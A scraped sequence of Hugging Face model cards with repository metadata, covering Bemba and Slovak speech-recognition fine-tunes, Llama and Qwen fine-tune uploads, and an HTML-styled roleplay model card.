- **License:** [More Information Needed]
- **Finetuned from model [optional]:** [More Information Needed]
### Model Sources [optional]
<!-- Provide the basic links for the model. -->
- **Repository:** [More Information Needed]
- **Paper [optional]:** [More Information Needed]
- **Demo [optional]:** [More Information Needed]
## Uses
<!-- Address questions around how the model is intended to be used, including the foreseeable users of the model and those affected by the model. -->
### Direct Use
<!-- This section is for the model use without fine-tuning or plugging into a larger ecosystem/app. -->
[More Information Needed]
### Downstream Use [optional]
<!-- This section is for the model use when fine-tuned for a task, or when plugged into a larger ecosystem/app -->
[More Information Needed]
### Out-of-Scope Use
<!-- This section addresses misuse, malicious use, and uses that the model will not work well for. -->
[More Information Needed]
## Bias, Risks, and Limitations
<!-- This section is meant to convey both technical and sociotechnical limitations. -->
[More Information Needed]
### Recommendations
<!-- This section is meant to convey recommendations with respect to the bias, risk, and technical limitations. -->
Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations.
## How to Get Started with the Model
Use the code below to get started with the model.
[More Information Needed]
## Training Details
### Training Data
<!-- This should link to a Dataset Card, perhaps with a short stub of information on what the training data is all about as well as documentation related to data pre-processing or additional filtering. -->
[More Information Needed]
### Training Procedure
<!-- This relates heavily to the Technical Specifications. Content here should link to that section when it is relevant to the training procedure. -->
#### Preprocessing [optional]
[More Information Needed]
#### Training Hyperparameters
- **Training regime:** [More Information Needed] <!--fp32, fp16 mixed precision, bf16 mixed precision, bf16 non-mixed precision, fp16 non-mixed precision, fp8 mixed precision -->
#### Speeds, Sizes, Times [optional]
<!-- This section provides information about throughput, start/end time, checkpoint size if relevant, etc. -->
[More Information Needed]
## Evaluation
<!-- This section describes the evaluation protocols and provides the results. -->
### Testing Data, Factors & Metrics
#### Testing Data
<!-- This should link to a Dataset Card if possible. -->
[More Information Needed]
#### Factors
<!-- These are the things the evaluation is disaggregating by, e.g., subpopulations or domains. -->
[More Information Needed]
#### Metrics
<!-- These are the evaluation metrics being used, ideally with a description of why. -->
[More Information Needed]
### Results
[More Information Needed]
#### Summary
## Model Examination [optional]
<!-- Relevant interpretability work for the model goes here -->
[More Information Needed]
## Environmental Impact
<!-- Total emissions (in grams of CO2eq) and additional considerations, such as electricity usage, go here. Edit the suggested text below accordingly -->
Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700).
- **Hardware Type:** [More Information Needed]
- **Hours used:** [More Information Needed]
- **Cloud Provider:** [More Information Needed]
- **Compute Region:** [More Information Needed]
- **Carbon Emitted:** [More Information Needed]
## Technical Specifications [optional]
### Model Architecture and Objective
[More Information Needed]
### Compute Infrastructure
[More Information Needed]
#### Hardware
[More Information Needed]
#### Software
[More Information Needed]
## Citation [optional]
<!-- If there is a paper or blog post introducing the model, the APA and Bibtex information for that should go in this section. -->
**BibTeX:**
[More Information Needed]
**APA:**
[More Information Needed]
## Glossary [optional]
<!-- If relevant, include terms and calculations in this section that can help readers understand the model or model card. -->
[More Information Needed]
## More Information [optional]
[More Information Needed]
## Model Card Authors [optional]
[More Information Needed]
## Model Card Contact
[More Information Needed]
|
csikasote/mms-1b-all-bemgen-combined-m25f100-52-DAT-1.0
|
csikasote
| 2025-09-23T15:17:30Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"wav2vec2",
"automatic-speech-recognition",
"bemgen",
"mms",
"generated_from_trainer",
"base_model:facebook/mms-1b-all",
"base_model:finetune:facebook/mms-1b-all",
"license:cc-by-nc-4.0",
"endpoints_compatible",
"region:us"
] |
automatic-speech-recognition
| 2025-09-23T14:15:45Z |
---
library_name: transformers
license: cc-by-nc-4.0
base_model: facebook/mms-1b-all
tags:
- automatic-speech-recognition
- bemgen
- mms
- generated_from_trainer
model-index:
- name: mms-1b-all-bemgen-combined-m25f100-52-DAT-1.0
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# mms-1b-all-bemgen-combined-m25f100-52-DAT-1.0
This model is a fine-tuned version of [facebook/mms-1b-all](https://huggingface.co/facebook/mms-1b-all) on the BEMGEN - BEM dataset.
It achieves the following results on the evaluation set:
- Loss: 0.2668
- Cer: 0.0757
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0003
- train_batch_size: 8
- eval_batch_size: 4
- seed: 52
- gradient_accumulation_steps: 2
- total_train_batch_size: 16
- optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- lr_scheduler_warmup_steps: 100
- num_epochs: 30.0
- mixed_precision_training: Native AMP
### Training results
| Training Loss | Epoch | Step | Validation Loss | Cer |
|:-------------:|:-------:|:----:|:---------------:|:------:|
| 7.5479 | 0.6711 | 100 | 2.8174 | 0.9940 |
| 2.4444 | 1.3423 | 200 | 0.4937 | 0.1527 |
| 1.4197 | 2.0134 | 300 | 0.3644 | 0.1081 |
| 1.3109 | 2.6846 | 400 | 0.3443 | 0.1015 |
| 1.2541 | 3.3557 | 500 | 0.3169 | 0.0925 |
| 1.2212 | 4.0268 | 600 | 0.3042 | 0.0876 |
| 1.2174 | 4.6980 | 700 | 0.2935 | 0.0859 |
| 1.2467 | 5.3691 | 800 | 0.2867 | 0.0824 |
| 1.2743 | 6.0403 | 900 | 0.2811 | 0.0801 |
| 1.2767 | 6.7114 | 1000 | 0.2749 | 0.0780 |
| 1.3297 | 7.3826 | 1100 | 0.2722 | 0.0773 |
| 1.2087 | 8.0537 | 1200 | 0.2723 | 0.0773 |
| 1.1697 | 8.7248 | 1300 | 0.2695 | 0.0770 |
| 1.321 | 9.3960 | 1400 | 0.2695 | 0.0763 |
| 1.1329 | 10.0671 | 1500 | 0.2685 | 0.0755 |
| 1.2315 | 10.7383 | 1600 | 0.2702 | 0.0756 |
| 1.1885 | 11.4094 | 1700 | 0.2677 | 0.0747 |
| 1.1996 | 12.0805 | 1800 | 0.2671 | 0.0750 |
| 1.2096 | 12.7517 | 1900 | 0.2682 | 0.0756 |
| 1.1606 | 13.4228 | 2000 | 0.2668 | 0.0756 |
| 1.1128 | 14.0940 | 2100 | 0.2683 | 0.0757 |
| 1.1222 | 14.7651 | 2200 | 0.2703 | 0.0758 |
| 1.1376 | 15.4362 | 2300 | 0.2683 | 0.0752 |
### Framework versions
- Transformers 4.53.0.dev0
- Pytorch 2.6.0+cu124
- Datasets 3.6.0
- Tokenizers 0.21.0
|
Frezer02/retrained_llama32-1bn-finetuned
|
Frezer02
| 2025-09-23T15:15:11Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"text-generation-inference",
"unsloth",
"llama",
"trl",
"en",
"license:apache-2.0",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T15:15:00Z |
---
base_model: unsloth/llama-3.2-1b-instruct-unsloth-bnb-4bit
tags:
- text-generation-inference
- transformers
- unsloth
- llama
- trl
license: apache-2.0
language:
- en
---
# Uploaded model
- **Developed by:** Frezer02
- **License:** apache-2.0
- **Finetuned from model :** unsloth/llama-3.2-1b-instruct-unsloth-bnb-4bit
This llama model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library.
[<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
|
Delta-Vector/Austral-4.5B-Winton
|
Delta-Vector
| 2025-09-23T15:14:54Z | 35 | 6 |
transformers
|
[
"transformers",
"safetensors",
"arcee",
"text-generation",
"roleplay",
"finetune",
"axolotl",
"adventure",
"creative-writing",
"GLM4",
"32B",
"conversational",
"en",
"dataset:Delta-Vector/Tauri-Rep-Remover-KTO",
"dataset:Delta-Vector/Orion-LN-V1-ShareGPT",
"dataset:Delta-Vector/Orion-Personamaxx-RP",
"dataset:Delta-Vector/Orion-Co-Writer-51K",
"dataset:Delta-Vector/Orion-Praxis-Co-Writer",
"dataset:Delta-Vector/Orion-Shoujo-AI-Filtered-ShareGPT",
"dataset:Delta-Vector/Orion-PIPPA-Cleaned-V2",
"dataset:Delta-Vector/Orion-Alpindale-LN-ShareGPT",
"dataset:Delta-Vector/Orion-Deepseek-V3-RP-Filtered",
"dataset:Delta-Vector/Orion-Books-V2-ShareGPT",
"dataset:Delta-Vector/Orion-Light-Novels-Roleplay-Logs-Books-Oh-My-duplicate-turns-removed",
"dataset:Delta-Vector/Orion-RP-Guild",
"dataset:Delta-Vector/Orion-Creative_Writing-Complexity",
"dataset:Delta-Vector/Orion-Deepseek-R1-RP-Filtered",
"dataset:Delta-Vector/Orion-Storium-Prefixed-Clean",
"dataset:Delta-Vector/Orion-Misc-Sharegpt-Prefixed",
"dataset:Delta-Vector/Orion-LIMARP-Complexity",
"dataset:Delta-Vector/Orion-BlueSky-10K-Complexity",
"dataset:Delta-Vector/Orion-OpenCAI-ShareGPT",
"dataset:Delta-Vector/Orion-Roleplay-Logs-Sharegpt-Ngram-cleaned",
"dataset:Delta-Vector/Orion-vanilla-backrooms-claude-sharegpt",
"base_model:Delta-Vector/Austral-AFM-SFT",
"base_model:finetune:Delta-Vector/Austral-AFM-SFT",
"license:apache-2.0",
"autotrain_compatible",
"endpoints_compatible",
"region:us"
] |
text-generation
| 2025-09-17T22:32:04Z |
---
license: apache-2.0
base_model:
- Delta-Vector/Austral-AFM-SFT
language:
- en
library_name: transformers
tags:
- roleplay
- finetune
- axolotl
- adventure
- creative-writing
- GLM4
- 32B
datasets:
- Delta-Vector/Tauri-Rep-Remover-KTO
- Delta-Vector/Orion-LN-V1-ShareGPT
- Delta-Vector/Orion-Personamaxx-RP
- Delta-Vector/Orion-Co-Writer-51K
- Delta-Vector/Orion-Praxis-Co-Writer
- Delta-Vector/Orion-Shoujo-AI-Filtered-ShareGPT
- Delta-Vector/Orion-PIPPA-Cleaned-V2
- Delta-Vector/Orion-Alpindale-LN-ShareGPT
- Delta-Vector/Orion-Deepseek-V3-RP-Filtered
- Delta-Vector/Orion-Books-V2-ShareGPT
- >-
Delta-Vector/Orion-Light-Novels-Roleplay-Logs-Books-Oh-My-duplicate-turns-removed
- Delta-Vector/Orion-RP-Guild
- Delta-Vector/Orion-Creative_Writing-Complexity
- Delta-Vector/Orion-Deepseek-R1-RP-Filtered
- Delta-Vector/Orion-Storium-Prefixed-Clean
- Delta-Vector/Orion-Misc-Sharegpt-Prefixed
- Delta-Vector/Orion-LIMARP-Complexity
- Delta-Vector/Orion-BlueSky-10K-Complexity
- Delta-Vector/Orion-OpenCAI-ShareGPT
- Delta-Vector/Orion-Roleplay-Logs-Sharegpt-Ngram-cleaned
- Delta-Vector/Orion-vanilla-backrooms-claude-sharegpt
---
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Austral 24B Winton</title>
<link href="" rel="stylesheet">
<style>
body {
font-family: 'Roboto Slab', serif;
background: linear-gradient(135deg, #8B4513 0%, #A0522D 25%, #CD853F 50%, #D2691E 75%, #8B4513 100%);
background-size: 400% 400%;
animation: prehistoricShift 20s ease-in-out infinite;
color: #2F1B14;
margin: 0;
padding: 0;
font-size: 16px;
min-height: 100vh;
}
@keyframes prehistoricShift {
0%, 100% { background-position: 0% 50%; }
50% { background-position: 100% 50%; }
}
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margin: 20px;
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border-radius: 15px;
box-shadow: 0 8px 25px rgba(0, 0, 0, 0.4), inset 0 2px 5px rgba(255, 255, 255, 0.3);
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position: relative;
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content: '';
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radial-gradient(circle at 20% 80%, rgba(139, 69, 19, 0.1) 0%, transparent 50%),
radial-gradient(circle at 80% 20%, rgba(160, 82, 45, 0.1) 0%, transparent 50%);
pointer-events: none;
}
.header h1 {
font-family: 'Cinzel', serif;
font-size: 32px;
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width: 85%;
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text-align: center;
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margin: 0;
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gap: 15px;
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color: #2F1B14;
display: flex;
align-items: baseline;
gap: 12px;
padding: 10px;
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border-radius: 6px;
border-left: 4px solid #8B4513;
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.model-component {
font-weight: 600;
min-width: 120px;
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.model-description {
padding: 25px;
background: linear-gradient(145deg, #F5DEB3, #F4E4BC);
}
.metrics-section {
margin-bottom: 30px;
}
.metrics-section details {
background: linear-gradient(145deg, #F5DEB3, #DEB887);
border: 3px solid #8B4513;
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font-family: 'Cinzel', serif;
color: #5D2E0C;
font-size: 18px;
cursor: pointer;
outline: none;
padding: 10px 0;
text-align: center;
font-weight: 500;
letter-spacing: 1px;
}
.creator-section {
margin: 25px 0;
text-align: center;
}
.creator-badge {
display: inline-flex;
align-items: center;
background: linear-gradient(145deg, #CD853F, #D2691E);
border: 3px solid #8B4513;
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font-weight: 500;
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gap: 8px;
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.link-arrow {
display: inline-block;
transition: transform 0.3s ease;
}
a:hover .link-arrow {
transform: translateX(3px);
}
.axolotl-container {
text-align: center;
margin: 35px 0;
}
.axolotl-container img {
max-width: 300px;
border-radius: 10px;
box-shadow: 0 6px 15px rgba(0, 0, 0, 0.3);
border: 3px solid #8B4513;
filter: sepia(30%) contrast(110%);
}
.fossil-texture {
position: relative;
}
.fossil-texture::after {
content: '';
position: absolute;
top: 0;
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right: 0;
bottom: 0;
background-image:
radial-gradient(circle at 25% 25%, rgba(139, 69, 19, 0.05) 2px, transparent 2px),
radial-gradient(circle at 75% 75%, rgba(160, 82, 45, 0.05) 1px, transparent 1px);
background-size: 50px 50px, 30px 30px;
pointer-events: none;
}
</style>
</head>
<body>
<div class="container fossil-texture">
<div class="header">
<h1>Austral 4.5B Winton</h1>
</p>
</div>
<div class="info">
<img src="https://cdn-uploads.huggingface.co/production/uploads/66c26b6fb01b19d8c3c2467b/jxUvuFK1bdOdAPiYIcBW5.jpeg" alt="Model banner">
<div style="text-align: center;">
<div class="creator-section">
<div class="creator-badge">
<span class="creator-label">Trained by</span>
<a href="https://huggingface.co/Delta-Vector" target="_blank" class="creator-link">
<span class="creator-name">Delta-Vector</span>
</a>
</div>
</div>
<div class="model-info">
<h2>Overview</h2>
<div class="info-card">
<div class="info-header">
<h3>Austral 4.5B - Winton</h3>
<div class="model-tags">
<span class="model-tag">AFM-Based</span>
<span class ="model-tag">KTO enhanced</span>
<span class ="model-tag">Adventure/Roleplay generalist</span>
<span class="model-tag">4.5B Sized model</span>
</div>
</div>
<div class="model-description">
<p style="font-weight: bold; font-style: italic;">More than 1.5-metres tall, about six-metres long and up to 1000-kilograms heavy, Australovenator Wintonensis was a fast and agile hunter. The largest known Australian theropod.</p>
<p>This is a finetune of arcee-ai/AFM-4.5B to be a generalist Roleplay/Adventure model. This was a multi-stage finetune (SFT->KTO), In testing it has shown to be a great model for Adventure cards & Roleplay, Often pushing the plot forward better then other models, While avoiding some of the slops you'd find in models from Drummer and Co. It also enhanced knowledge of roleplaying domains compared to the base.</p>
<p>Support my finetunes / Me on Kofi: https://Ko-fi.com/deltavector | Thank you to Auri/Joe for helping/Testing ♥</p>
</div>
</div>
</div>
<div class="section">
<h2>Quants</h2>
<div class="info-card">
<div class="model-composition">
<h4>Quants Formats</h4>
<ul class="composition-list">
<li><span class="model-component"><a href="https://huggingface.co/mradermacher/Austral-4.5B-Winton-GGUF" target="_blank">GGUF</a></span>For use with LLama.cpp & Forks(Thanks Mradermacher!)</li>
<li><span class="model-component"><a href="" target="_blank">EXL3</a></span>For use with TabbyAPI(Coming soon!)</li>
</ul>
</div>
</div>
</div>
<div class="section">
<h2>Chat Format</h2>
<p>This model utilizes ChatML.</p>
<pre><code><|im_start|>user
Hi there!<|im_end|>
<|im_start|>assistant
Nice to meet you!<|im_end|>
<|im_start|>user
Can I ask a question?<|im_end|>
<|im_start|>assistant</code></pre>
</div>
<div class="section">
<h2>Training</h2>
<p>This model was trained over 4 epochs using 8 x 3090s for the base SFT, Then i used KTO to clean up some coherency issues for 1 epoch, Total time was roughly 8 hours.</p>
<p style="text-align: center; margin-top: 20px;">
<div class="axolotl-container">
<a href="https://github.com/OpenAccess-AI-Collective/axolotl" target="_blank">
<img src="https://raw.githubusercontent.com/OpenAccess-AI-Collective/axolotl/main/image/axolotl-badge-web.png" alt="Built with Axolotl">
</a>
</div>
<div class="section">
<h2>Credits</h2>
<p>TYSM to my friends: Auri, Minh, Trappu, Alicat, Kubernetes Bad, Intervitens, NyxKrage & Kalomaze</p>
</p>
</div>
</div>
</div>
</div>
</div>
</body>
</html>
|
dsaedi/ESGF-Llama-3.1-8B-Instruct-V0.26-gguf
|
dsaedi
| 2025-09-23T15:12:12Z | 0 | 0 |
transformers
|
[
"transformers",
"gguf",
"llama",
"text-generation-inference",
"unsloth",
"en",
"license:apache-2.0",
"endpoints_compatible",
"region:us",
"conversational"
] | null | 2025-09-23T15:10:46Z |
---
base_model: unsloth/meta-llama-3.1-8b-instruct-unsloth-bnb-4bit
tags:
- text-generation-inference
- transformers
- unsloth
- llama
- gguf
license: apache-2.0
language:
- en
---
# Uploaded model
- **Developed by:** dsaedi
- **License:** apache-2.0
- **Finetuned from model :** unsloth/meta-llama-3.1-8b-instruct-unsloth-bnb-4bit
This llama model was trained 2x faster with [Unsloth](https://github.com/unslothai/unsloth) and Huggingface's TRL library.
[<img src="https://raw.githubusercontent.com/unslothai/unsloth/main/images/unsloth%20made%20with%20love.png" width="200"/>](https://github.com/unslothai/unsloth)
|
alesiaivanova/Qwen-3b-GRPO-dag-5-sub-v5
|
alesiaivanova
| 2025-09-23T15:10:36Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"generated_from_trainer",
"grpo",
"trl",
"arxiv:2402.03300",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T15:09:09Z |
---
library_name: transformers
model_name: Qwen-3b-GRPO-dag-5-sub-v5
tags:
- generated_from_trainer
- grpo
- trl
licence: license
---
# Model Card for Qwen-3b-GRPO-dag-5-sub-v5
This model is a fine-tuned version of [None](https://huggingface.co/None).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="None", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/alesyaivanova/long-horizon-reasoning/runs/bp0vfpld)
This model was trained with GRPO, a method introduced in [DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models](https://huggingface.co/papers/2402.03300).
### Framework versions
- TRL: 0.21.0
- Transformers: 4.55.3
- Pytorch: 2.7.1
- Datasets: 3.6.0
- Tokenizers: 0.21.4
## Citations
Cite GRPO as:
```bibtex
@article{zhihong2024deepseekmath,
title = {{DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models}},
author = {Zhihong Shao and Peiyi Wang and Qihao Zhu and Runxin Xu and Junxiao Song and Mingchuan Zhang and Y. K. Li and Y. Wu and Daya Guo},
year = 2024,
eprint = {arXiv:2402.03300},
}
```
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
alesiaivanova/Qwen-3b-GRPO-dag-5-sub-v4
|
alesiaivanova
| 2025-09-23T15:09:06Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"generated_from_trainer",
"grpo",
"trl",
"arxiv:2402.03300",
"endpoints_compatible",
"region:us"
] | null | 2025-09-23T15:07:40Z |
---
library_name: transformers
model_name: Qwen-3b-GRPO-dag-5-sub-v4
tags:
- generated_from_trainer
- grpo
- trl
licence: license
---
# Model Card for Qwen-3b-GRPO-dag-5-sub-v4
This model is a fine-tuned version of [None](https://huggingface.co/None).
It has been trained using [TRL](https://github.com/huggingface/trl).
## Quick start
```python
from transformers import pipeline
question = "If you had a time machine, but could only go to the past or the future once and never return, which would you choose and why?"
generator = pipeline("text-generation", model="None", device="cuda")
output = generator([{"role": "user", "content": question}], max_new_tokens=128, return_full_text=False)[0]
print(output["generated_text"])
```
## Training procedure
[<img src="https://raw.githubusercontent.com/wandb/assets/main/wandb-github-badge-28.svg" alt="Visualize in Weights & Biases" width="150" height="24"/>](https://wandb.ai/alesyaivanova/long-horizon-reasoning/runs/q7737w4e)
This model was trained with GRPO, a method introduced in [DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models](https://huggingface.co/papers/2402.03300).
### Framework versions
- TRL: 0.21.0
- Transformers: 4.55.3
- Pytorch: 2.7.1
- Datasets: 3.6.0
- Tokenizers: 0.21.4
## Citations
Cite GRPO as:
```bibtex
@article{zhihong2024deepseekmath,
title = {{DeepSeekMath: Pushing the Limits of Mathematical Reasoning in Open Language Models}},
author = {Zhihong Shao and Peiyi Wang and Qihao Zhu and Runxin Xu and Junxiao Song and Mingchuan Zhang and Y. K. Li and Y. Wu and Daya Guo},
year = 2024,
eprint = {arXiv:2402.03300},
}
```
Cite TRL as:
```bibtex
@misc{vonwerra2022trl,
title = {{TRL: Transformer Reinforcement Learning}},
author = {Leandro von Werra and Younes Belkada and Lewis Tunstall and Edward Beeching and Tristan Thrush and Nathan Lambert and Shengyi Huang and Kashif Rasul and Quentin Gallou{\'e}dec},
year = 2020,
journal = {GitHub repository},
publisher = {GitHub},
howpublished = {\url{https://github.com/huggingface/trl}}
}
```
|
csikasote/mms-1b-all-bemgen-combined-m25f100-52-DAT-0.9
|
csikasote
| 2025-09-23T15:08:01Z | 0 | 0 |
transformers
|
[
"transformers",
"safetensors",
"wav2vec2",
"automatic-speech-recognition",
"bemgen",
"mms",
"generated_from_trainer",
"base_model:facebook/mms-1b-all",
"base_model:finetune:facebook/mms-1b-all",
"license:cc-by-nc-4.0",
"endpoints_compatible",
"region:us"
] |
automatic-speech-recognition
| 2025-09-23T14:10:40Z |
---
library_name: transformers
license: cc-by-nc-4.0
base_model: facebook/mms-1b-all
tags:
- automatic-speech-recognition
- bemgen
- mms
- generated_from_trainer
model-index:
- name: mms-1b-all-bemgen-combined-m25f100-52-DAT-0.9
results: []
---
<!-- This model card has been generated automatically according to the information the Trainer had access to. You
should probably proofread and complete it, then remove this comment. -->
# mms-1b-all-bemgen-combined-m25f100-52-DAT-0.9
This model is a fine-tuned version of [facebook/mms-1b-all](https://huggingface.co/facebook/mms-1b-all) on the BEMGEN - BEM dataset.
It achieves the following results on the evaluation set:
- Loss: 0.2762
- Cer: 0.0799
## Model description
More information needed
## Intended uses & limitations
More information needed
## Training and evaluation data
More information needed
## Training procedure
### Training hyperparameters
The following hyperparameters were used during training:
- learning_rate: 0.0003
- train_batch_size: 8
- eval_batch_size: 4
- seed: 52
- gradient_accumulation_steps: 2
- total_train_batch_size: 16
- optimizer: Use OptimizerNames.ADAMW_TORCH with betas=(0.9,0.999) and epsilon=1e-08 and optimizer_args=No additional optimizer arguments
- lr_scheduler_type: linear
- lr_scheduler_warmup_steps: 100
- num_epochs: 30.0
- mixed_precision_training: Native AMP
### Training results
| Training Loss | Epoch | Step | Validation Loss | Cer |
|:-------------:|:-------:|:----:|:---------------:|:------:|
| 7.5096 | 0.6711 | 100 | 2.8165 | 0.9938 |
| 2.4125 | 1.3423 | 200 | 0.4848 | 0.1492 |
| 1.4033 | 2.0134 | 300 | 0.3584 | 0.1053 |
| 1.2952 | 2.6846 | 400 | 0.3348 | 0.0977 |
| 1.2179 | 3.3557 | 500 | 0.3055 | 0.0878 |
| 1.1866 | 4.0268 | 600 | 0.2916 | 0.0830 |
| 1.1662 | 4.6980 | 700 | 0.2906 | 0.0856 |
| 1.1626 | 5.3691 | 800 | 0.2853 | 0.0818 |
| 1.2508 | 6.0403 | 900 | 0.2824 | 0.0805 |
| 1.2534 | 6.7114 | 1000 | 0.2814 | 0.0801 |
| 1.2901 | 7.3826 | 1100 | 0.2807 | 0.0798 |
| 1.2177 | 8.0537 | 1200 | 0.2762 | 0.0800 |
| 1.13 | 8.7248 | 1300 | 0.2736 | 0.0788 |
| 1.2379 | 9.3960 | 1400 | 0.2718 | 0.0777 |
| 1.0842 | 10.0671 | 1500 | 0.2699 | 0.0765 |
| 1.1996 | 10.7383 | 1600 | 0.2703 | 0.0759 |
| 1.17 | 11.4094 | 1700 | 0.2676 | 0.0746 |
| 1.1867 | 12.0805 | 1800 | 0.2664 | 0.0747 |
| 1.1887 | 12.7517 | 1900 | 0.2692 | 0.0768 |
| 1.1212 | 13.4228 | 2000 | 0.2664 | 0.0755 |
| 1.0755 | 14.0940 | 2100 | 0.2696 | 0.0755 |
### Framework versions
- Transformers 4.53.0.dev0
- Pytorch 2.6.0+cu124
- Datasets 3.6.0
- Tokenizers 0.21.0
|
erikbozik/whisper-medium-sk
|
erikbozik
| 2025-09-23T14:56:28Z | 10 | 0 | null |
[
"safetensors",
"whisper",
"speech",
"asr",
"slovak",
"parliament",
"legal",
"politics",
"sk",
"dataset:erikbozik/slovak-plenary-asr-corpus",
"base_model:openai/whisper-medium",
"base_model:finetune:openai/whisper-medium",
"license:mit",
"model-index",
"region:us"
] | null | 2025-06-18T13:34:27Z |
---
language:
- sk
tags:
- speech
- asr
- whisper
- slovak
- parliament
- legal
- politics
base_model: openai/whisper-medium
datasets:
- erikbozik/slovak-plenary-asr-corpus
metrics:
- wer
model-index:
- name: whisper-medium-sk
results:
- task:
type: automatic-speech-recognition
name: Automatic Speech Recognition
dataset:
name: Common Voice 21 (Slovak test set)
type: common_voice
metrics:
- name: WER
type: wer
value: 18
- task:
type: automatic-speech-recognition
name: Automatic Speech Recognition
dataset:
name: FLEURS (Slovak test set)
type: fleurs
metrics:
- name: WER
type: wer
value: 7.6
license: mit
---
# Whisper Medium — Fine-tuned on Slovak Plenary ASR Corpus
This model is a fine-tuned version of [`openai/whisper-medium`](https://huggingface.co/openai/whisper-medium).
It is adapted for **Slovak ASR** using the [Slovak Plenary ASR Corpus](https://huggingface.co/datasets/erikbozik/slovak-plenary-asr-corpus): **2,806 hours** of aligned, ≤30 s speech–text pairs from official plenary sessions of the **Slovak National Council**.
- **Language:** Slovak
- **Domain:** Parliamentary / formal speech
- **Training data:** 2,806 h
- **Intended use:** Slovak speech recognition; strongest in formal/public-speaking contexts
## 🧪 Evaluation
| Dataset | Base WER | Fine-tuned WER | Δ (abs) |
|---|---:|---:|---:|
| Common Voice 21 (sk) | 38.0 | **18.0** | -20.0 |
| FLEURS (sk) | 18.7 | **7.6** | -11.1 |
*Numbers from the paper’s final benchmark runs.*
## 🔧 Training Details
- **Framework:** Hugging Face Transformers
- **Hardware:** NVIDIA A10 GPUs
- **Epochs:** up to 3 with early stopping on validation WER
- **Learning rate:** ~**40× smaller** than Whisper pretraining LR
## ⚠️ Limitations
- Domain bias toward parliamentary speech (e.g., political vocabulary, formal register).
- As with Whisper models generally, occasional hallucinations may appear; consider temperature fallback / compression-ratio checks at inference time.
- Multilingual performance is not guaranteed (full-parameter finetuning emphasized Slovak).
## 📄 Paper & Citation
Coming soon
## 🙏 Acknowledgements
This work was supported by [**VÚB Banka**](https://www.vub.sk) who provided the GPU resources and backing necessary to accomplish it, enabling progress in Slovak ASR research.
|
erikbozik/whisper-large-v3-sk
|
erikbozik
| 2025-09-23T14:55:30Z | 59 | 0 | null |
[
"safetensors",
"whisper",
"speech",
"asr",
"slovak",
"parliament",
"legal",
"politics",
"sk",
"dataset:erikbozik/slovak-plenary-asr-corpus",
"base_model:openai/whisper-large-v3",
"base_model:finetune:openai/whisper-large-v3",
"license:mit",
"model-index",
"region:us"
] | null | 2025-09-08T10:17:39Z |
---
language:
- sk
tags:
- speech
- asr
- whisper
- slovak
- parliament
- legal
- politics
base_model: openai/whisper-large-v3
datasets:
- erikbozik/slovak-plenary-asr-corpus
metrics:
- wer
model-index:
- name: whisper-large-v3-sk
results:
- task:
type: automatic-speech-recognition
name: Automatic Speech Recognition
dataset:
name: Common Voice 21 (Slovak test set)
type: common_voice
metrics:
- name: WER
type: wer
value: 11.6
- task:
type: automatic-speech-recognition
name: Automatic Speech Recognition
dataset:
name: FLEURS (Slovak test set)
type: fleurs
metrics:
- name: WER
type: wer
value: 5.5
license: mit
---
# Whisper Large-v3 — Fine-tuned on Slovak Plenary ASR Corpus
This model is a fine-tuned version of [`openai/whisper-large-v3`](https://huggingface.co/openai/whisper-large-v3).
It is adapted for **Slovak ASR** using the [Slovak Plenary ASR Corpus](https://huggingface.co/datasets/erikbozik/slovak-plenary-asr-corpus): **2,806 hours** of aligned, ≤30 s speech–text pairs from official plenary sessions of the **Slovak National Council**.
- **Language:** Slovak
- **Domain:** Parliamentary / formal speech
- **Training data:** 2,806 h
- **Intended use:** Slovak speech recognition; strongest in formal/public-speaking contexts
## 🧪 Evaluation
| Dataset | Base WER | Fine-tuned WER | Δ (abs) |
|---|---:|---:|---:|
| Common Voice 21 (sk) | 20.8 | **11.6** | -9.2 |
| FLEURS (sk) | 9.2 | **5.5** | -3.7 |
*Numbers from the paper’s final benchmark runs.*
## 🔧 Training Details
- **Framework:** Hugging Face Transformers
- **Hardware:** Multi-GPU setup (NVIDIA A10s) with Fully Sharded Data Parallel (FSDP)
- **Epochs:** ~2 with early stopping on validation WER
- **Learning rate:** `1e-5` with weight decay `0.01` to prevent overfitting
- **Notes:** Training required sharded checkpoints; evaluation run separately due to runtime compatibility issues
## ⚠️ Limitations
